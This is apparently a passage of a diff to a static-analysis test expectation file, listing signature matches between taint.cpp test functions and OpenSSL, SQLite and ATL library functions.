taint.cpp:302:6:302:14 | myAssign2 | (const ML_DSA_KEY *,int) | | ossl_ml_dsa_key_dup | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const ML_KEM_KEY *,int) | | ossl_ml_kem_key_dup | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const OPENSSL_STACK *,int) | | OPENSSL_sk_value | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const OSSL_CMP_CERTREPMESSAGE *,int) | | ossl_cmp_certrepmessage_get0_certresponse | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_get0_newPkey | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_get_option | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const OSSL_CMP_PKISI *,int) | | ossl_cmp_pkisi_check_pkifailureinfo | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const OSSL_CMP_POLLREPCONTENT *,int) | | ossl_cmp_pollrepcontent_get0_pollrep | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const QUIC_CHANNEL *,int) | | ossl_quic_channel_get_local_stream_count_avail | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const QUIC_CHANNEL *,int) | | ossl_quic_channel_get_remote_stream_count_avail | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const RSA *,int) | | RSA_get_ex_data | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const RSA *,int) | | RSA_test_flags | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const RSA *,int) | | ossl_rsa_dup | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const SLH_DSA_KEY *,int) | | ossl_slh_dsa_key_dup | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const SSL *,int) | | SSL_get_ex_data | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const SSL_CTX *,int) | | SSL_CTX_get_ex_data | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const SSL_SESSION *,int) | | SSL_SESSION_get_ex_data | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const SSL_SESSION *,int) | | ssl_session_dup | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const UI *,int) | | UI_get_ex_data | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const UI_METHOD *,int) | | UI_method_get_ex_data | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const X509 *,int) | | X509_get_ex_data | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const X509 *,int) | | X509_get_ext | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const X509_ACERT *,int) | | X509_ACERT_get_attr | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const X509_CRL *,int) | | X509_CRL_get_ext | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const X509_NAME *,int) | | X509_NAME_get_entry | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const X509_POLICY_LEVEL *,int) | | X509_policy_level_get0_node | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const X509_POLICY_TREE *,int) | | X509_policy_tree_get0_level | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const X509_REQ *,int) | | X509_REQ_get_attr | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const X509_REVOKED *,int) | | X509_REVOKED_get_ext | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const X509_STORE *,int) | | X509_STORE_get_ex_data | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const X509_STORE_CTX *,int) | | X509_STORE_CTX_get_ex_data | 1 | | taint.cpp:302:6:302:14 | myAssign2 | (const XCHAR *,int) | CStringT | CStringT | 1 | | taint.cpp:302:6:302:14 | myAssign2 | (const YCHAR *,int) | CStringT | CStringT | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const char *,int) | | DH_meth_new | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const char *,int) | | DSA_meth_new | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const char *,int) | | Jim_StrDupLen | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const char *,int) | | NETSCAPE_SPKI_b64_decode | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const char *,int) | | RSA_meth_new | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const char *,int) | | parse_yesno | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const stack_st_X509_ATTRIBUTE *,int) | | X509at_get_attr | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const stack_st_X509_EXTENSION *,int) | | X509v3_get_ext | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const unsigned char *,int) | | Jim_GenHashFunction | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const unsigned char *,int) | | OPENSSL_uni2asc | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const unsigned char *,int) | | OPENSSL_uni2utf8 | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (int *,int) | | X509_PURPOSE_set | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (int *,int) | | X509_TRUST_set | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (int,int) | | BN_security_bits | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (int,int) | | EVP_MD_meth_new | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (int,int) | | EVP_PKEY_meth_new | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (int,int) | | acttab_alloc | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (rule *,int) | | Configlist_add | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (rule *,int) | | Configlist_addbasis | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (sqlite3 *,int) | | sqlite3_busy_timeout | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (sqlite3 *,int) | | sqlite3_db_name | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (sqlite3 *,int) | | sqlite3_wal_autocheckpoint | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (sqlite3_backup *,int) | | sqlite3_backup_step | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (sqlite3_context *,int) | | sqlite3_aggregate_context | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (sqlite3_context *,int) | | sqlite3_result_error_code | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (sqlite3_index_info *,int) | | sqlite3_vtab_collation | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (sqlite3_stmt *,int) | | sqlite3_bind_parameter_name | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (sqlite3_stmt *,int) | | sqlite3_column_blob | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (sqlite3_stmt *,int) | | sqlite3_column_bytes | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (sqlite3_stmt *,int) | | sqlite3_column_bytes16 | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (sqlite3_stmt *,int) | | sqlite3_column_decltype | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (sqlite3_stmt *,int) | | sqlite3_column_decltype16 | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (sqlite3_stmt *,int) | | sqlite3_column_double | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (sqlite3_stmt *,int) | | sqlite3_column_int | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (sqlite3_stmt *,int) | | sqlite3_column_int64 | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (sqlite3_stmt *,int) | | sqlite3_column_name | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (sqlite3_stmt *,int) | | sqlite3_column_name16 | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (sqlite3_stmt *,int) | | sqlite3_column_text | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (sqlite3_stmt *,int) | | sqlite3_column_text16 | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (sqlite3_stmt *,int) | | sqlite3_column_type | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (sqlite3_stmt *,int) | | sqlite3_column_value | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (sqlite3_stmt *,int) | | sqlite3_stmt_explain | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (stack_st_PKCS7 *,int) | | PKCS12_add_safes | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (stack_st_SSL_COMP *,int) | | ssl3_comp_find | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (stack_st_X509_ATTRIBUTE *,int) | | X509at_delete_attr | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (stack_st_X509_EXTENSION *,int) | | X509v3_delete_ext | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (uint16_t,int) | | tls1_group_id2nid | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (unsigned char *,int) | | RAND_bytes | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (unsigned char *,int) | | RAND_priv_bytes | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (unsigned char *,int) | | ossl_ipaddr_to_asc | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (unsigned short,int) | | dtls1_get_queue_priority | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (void *,int) | | DSO_dsobyaddr | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (void *,int) | | sqlite3_realloc | 1 | | taint.cpp:302:6:302:14 | myAssign2 | (wchar_t,int) | CStringT | CStringT | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (ASN1_STRING *,int) | | ASN1_STRING_length_set | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (ASYNC_WAIT_CTX *,int) | | ASYNC_WAIT_CTX_set_status | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (BIGNUM *,int) | | BN_clear_bit | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (BIGNUM *,int) | | BN_mask_bits | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (BIGNUM *,int) | | BN_set_bit | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (BIGNUM *,int) | | BN_set_flags | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (BIGNUM *,int) | | bn_expand2 | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (BIGNUM *,int) | | bn_wexpand | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (BIGNUM *,int) | | ossl_bn_mask_bits_fixed_top | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (BIO *,int) | | BIO_clear_flags | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (BIO *,int) | | BIO_find_type | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (BIO *,int) | | BIO_set_flags | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (BIO *,int) | | BIO_set_init | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (BIO *,int) | | BIO_set_retry_reason | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (BIO *,int) | | BIO_set_shutdown | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (BIO *,int) | | TXT_DB_read | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (CMS_SignerInfo *,int) | | CMS_signed_delete_attr | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (CMS_SignerInfo *,int) | | CMS_unsigned_delete_attr | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (DH *,int) | | DH_clear_flags | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (DH *,int) | | DH_set_flags | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (DH_METHOD *,int) | | DH_meth_set_flags | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (DSA *,int) | | DSA_clear_flags | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (DSA *,int) | | DSA_set_flags | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (DSA_METHOD *,int) | | DSA_meth_set_flags | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (EC_GROUP *,int) | | EC_GROUP_set_asn1_flag | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (EC_GROUP *,int) | | EC_GROUP_set_curve_name | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (EC_KEY *,int) | | EC_KEY_clear_flags | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (EC_KEY *,int) | | EC_KEY_set_asn1_flag | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (EC_KEY *,int) | | EC_KEY_set_flags | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (ENGINE *,int) | | ENGINE_cmd_is_executable | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (ENGINE *,int) | | ENGINE_set_flags | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (EVP_CIPHER *,int) | | EVP_CIPHER_meth_set_impl_ctx_size | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (EVP_CIPHER *,int) | | EVP_CIPHER_meth_set_iv_length | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_clear_flags | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_flags | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_key_length | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_num | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (EVP_KEYMGMT *,int) | | evp_keymgmt_util_query_operation_name | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (EVP_MD *,int) | | EVP_MD_meth_set_app_datasize | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (EVP_MD *,int) | | EVP_MD_meth_set_input_blocksize | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (EVP_MD *,int) | | EVP_MD_meth_set_result_size | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (EVP_MD_CTX *,int) | | EVP_MD_CTX_clear_flags | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (EVP_MD_CTX *,int) | | EVP_MD_CTX_set_flags | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (EVP_PKEY *,int) | | EVP_PKEY_delete_attr | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (EVP_PKEY *,int) | | EVP_PKEY_save_parameters | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (EVP_PKEY *,int) | | EVP_PKEY_set_type | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_get_keygen_info | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_kdf_type | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_nid | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_paramgen_type | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_rfc5114 | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dhx_rfc5114 | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ec_param_enc | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ec_paramgen_curve_nid | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ecdh_kdf_type | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_hkdf_mode | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_rsa_padding | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_rsa_pss_saltlen | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (FFC_PARAMS *,int) | | ossl_ffc_params_set_gindex | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (FFC_PARAMS *,int) | | ossl_ffc_params_set_h | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (FFC_PARAMS *,int) | | ossl_ffc_params_set_pcounter | 1 | | taint.cpp:307:6:307:14 | myAssign3 | (LPCOLESTR,int) | CComBSTR | Append | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (OCSP_BASICRESP *,int) | | OCSP_BASICRESP_delete_ext | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (OCSP_BASICRESP *,int) | | OCSP_BASICRESP_get_ext | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (OCSP_BASICRESP *,int) | | OCSP_resp_get0 | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (OCSP_ONEREQ *,int) | | OCSP_ONEREQ_delete_ext | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (OCSP_ONEREQ *,int) | | OCSP_ONEREQ_get_ext | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (OCSP_REQUEST *,int) | | OCSP_REQUEST_delete_ext | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (OCSP_REQUEST *,int) | | OCSP_REQUEST_get_ext | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (OCSP_REQUEST *,int) | | OCSP_request_onereq_get0 | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (OCSP_SINGLERESP *,int) | | OCSP_SINGLERESP_delete_ext | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (OCSP_SINGLERESP *,int) | | OCSP_SINGLERESP_get_ext | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (OPENSSL_STACK *,int) | | OPENSSL_sk_delete | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (OPENSSL_STACK *,int) | | OPENSSL_sk_reserve | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (OPENSSL_sk_compfunc,int) | | OPENSSL_sk_new_reserve | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (OSSL_ACKM *,int) | | ossl_ackm_get_ack_deadline | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (OSSL_ACKM *,int) | | ossl_ackm_get_ack_frame | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (OSSL_ACKM *,int) | | ossl_ackm_get_largest_acked | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (OSSL_ACKM *,int) | | ossl_ackm_on_pkt_space_discarded | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_set_serverPort | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (OSSL_CMP_CTX *,int) | | ossl_cmp_ctx_set_failInfoCode | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (OSSL_CMP_CTX *,int) | | ossl_cmp_ctx_set_status | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (OSSL_CMP_CTX *,int) | | ossl_cmp_msg_create | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (OSSL_CMP_CTX *,int) | | ossl_cmp_pollReq_new | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (OSSL_CMP_MSG *,int) | | ossl_cmp_msg_set_bodytype | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (OSSL_CMP_PKIHEADER *,int) | | ossl_cmp_hdr_set_pvno | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (OSSL_CMP_REVREPCONTENT *,int) | | ossl_cmp_revrepcontent_get_CertId | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (OSSL_CMP_REVREPCONTENT *,int) | | ossl_cmp_revrepcontent_get_pkisi | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_accept_raverified | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_accept_unprotected | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_grant_implicit_confirm | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_send_unprotected_errors | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (OSSL_CRMF_PKIPUBLICATIONINFO *,int) | | OSSL_CRMF_MSG_set_PKIPublicationInfo_action | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (OSSL_DECODER_CTX *,int) | | OSSL_DECODER_CTX_set_selection | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (OSSL_ENCODER_CTX *,int) | | OSSL_ENCODER_CTX_set_selection | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (OSSL_LIB_CTX *,int) | | OSSL_LIB_CTX_get_data | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (OSSL_LIB_CTX *,int) | | OSSL_LIB_CTX_set_conf_diagnostics | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (OSSL_LIB_CTX *,int) | | ossl_ctx_global_properties | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (OSSL_LIB_CTX *,int) | | ossl_dh_new_by_nid_ex | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (OSSL_LIB_CTX *,int) | | ossl_lib_ctx_get_data | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (OSSL_LIB_CTX *,int) | | ossl_mac_key_new | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (OSSL_PARAM *,int) | | OSSL_PARAM_set_int | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (OSSL_QRX *,int) | | ossl_qrx_get_bytes_received | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (OSSL_RECORD_LAYER *,int) | | tls_set_first_handshake | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (OSSL_RECORD_LAYER *,int) | | tls_set_plain_alerts | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (OSSL_STORE_CTX *,int) | | OSSL_STORE_expect | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (PKCS7 *,int) | | PKCS7_set_type | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (QUIC_CHANNEL *,int) | | ossl_quic_channel_new_stream_local | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (QUIC_ENGINE *,int) | | ossl_quic_engine_set_inhibit_tick | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (QUIC_PORT *,int) | | ossl_quic_port_set_allow_incoming | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (QUIC_RCIDM *,int) | | ossl_quic_rcidm_get_preferred_tx_dcid_changed | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (QUIC_RSTREAM *,int) | | ossl_quic_rstream_set_cleanse | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (QUIC_RXFC *,int) | | ossl_quic_rxfc_get_error | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (QUIC_RXFC *,int) | | ossl_quic_rxfc_has_cwm_changed | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (QUIC_SSTREAM *,int) | | ossl_quic_sstream_set_cleanse | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (QUIC_STREAM_MAP *,int) | | ossl_quic_stream_map_get_accept_queue_len | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (QUIC_TXFC *,int) | | ossl_quic_txfc_has_become_blocked | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (RSA *,int) | | RSA_clear_flags | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (RSA *,int) | | RSA_set_flags | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (RSA_METHOD *,int) | | RSA_meth_set_flags | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_hashalg | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_maskgenhashalg | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_saltlen | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_trailerfield | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (SSL *,int) | | SSL_key_update | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (SSL *,int) | | SSL_set_post_handshake_auth | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (SSL *,int) | | SSL_set_purpose | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (SSL *,int) | | SSL_set_quic_tls_early_data_enabled | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (SSL *,int) | | SSL_set_quiet_shutdown | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (SSL *,int) | | SSL_set_read_ahead | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (SSL *,int) | | SSL_set_security_level | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (SSL *,int) | | SSL_set_shutdown | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (SSL *,int) | | SSL_set_trust | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (SSL *,int) | | SSL_set_verify_depth | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (SSL_CONNECTION *,int) | | dtls1_read_failed | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (SSL_CONNECTION *,int) | | ossl_statem_send_fatal | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (SSL_CONNECTION *,int) | | ossl_statem_set_in_init | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (SSL_CONNECTION *,int) | | tls1_shared_group | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (SSL_CTX *,int) | | SSL_CTX_set_post_handshake_auth | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (SSL_CTX *,int) | | SSL_CTX_set_purpose | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (SSL_CTX *,int) | | SSL_CTX_set_quiet_shutdown | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (SSL_CTX *,int) | | SSL_CTX_set_security_level | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (SSL_CTX *,int) | | SSL_CTX_set_srp_strength | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (SSL_CTX *,int) | | SSL_CTX_set_trust | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (SSL_CTX *,int) | | SSL_CTX_set_verify_depth | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (SSL_CTX *,int) | | ssl_md | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (SSL_SESSION *,int) | | SSL_SESSION_set_protocol_version | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (TS_REQ *,int) | | TS_REQ_delete_ext | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (TS_REQ *,int) | | TS_REQ_get_ext | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (TS_RESP_CTX *,int) | | TS_RESP_CTX_add_flags | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (TS_STATUS_INFO *,int) | | TS_STATUS_INFO_set_status | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (TS_TST_INFO *,int) | | TS_TST_INFO_delete_ext | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (TS_TST_INFO *,int) | | TS_TST_INFO_get_ext | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (TS_VERIFY_CTX *,int) | | TS_VERIFY_CTX_add_flags | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (TS_VERIFY_CTX *,int) | | TS_VERIFY_CTX_set_flags | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (WPACKET *,int) | | ossl_DER_w_begin_sequence | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (X509 *,int) | | X509_delete_ext | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (X509 *,int) | | X509_self_signed | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (X509_ACERT *,int) | | X509_ACERT_delete_attr | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (X509_ATTRIBUTE *,int) | | X509_ATTRIBUTE_get0_type | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (X509_CRL *,int) | | X509_CRL_delete_ext | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (X509_NAME *,int) | | X509_NAME_delete_entry | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (X509_REQ *,int) | | X509_REQ_delete_attr | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (X509_REVOKED *,int) | | X509_REVOKED_delete_ext | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (X509_STORE *,int) | | X509_STORE_set_depth | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (X509_STORE *,int) | | X509_STORE_set_purpose | 1 | +| 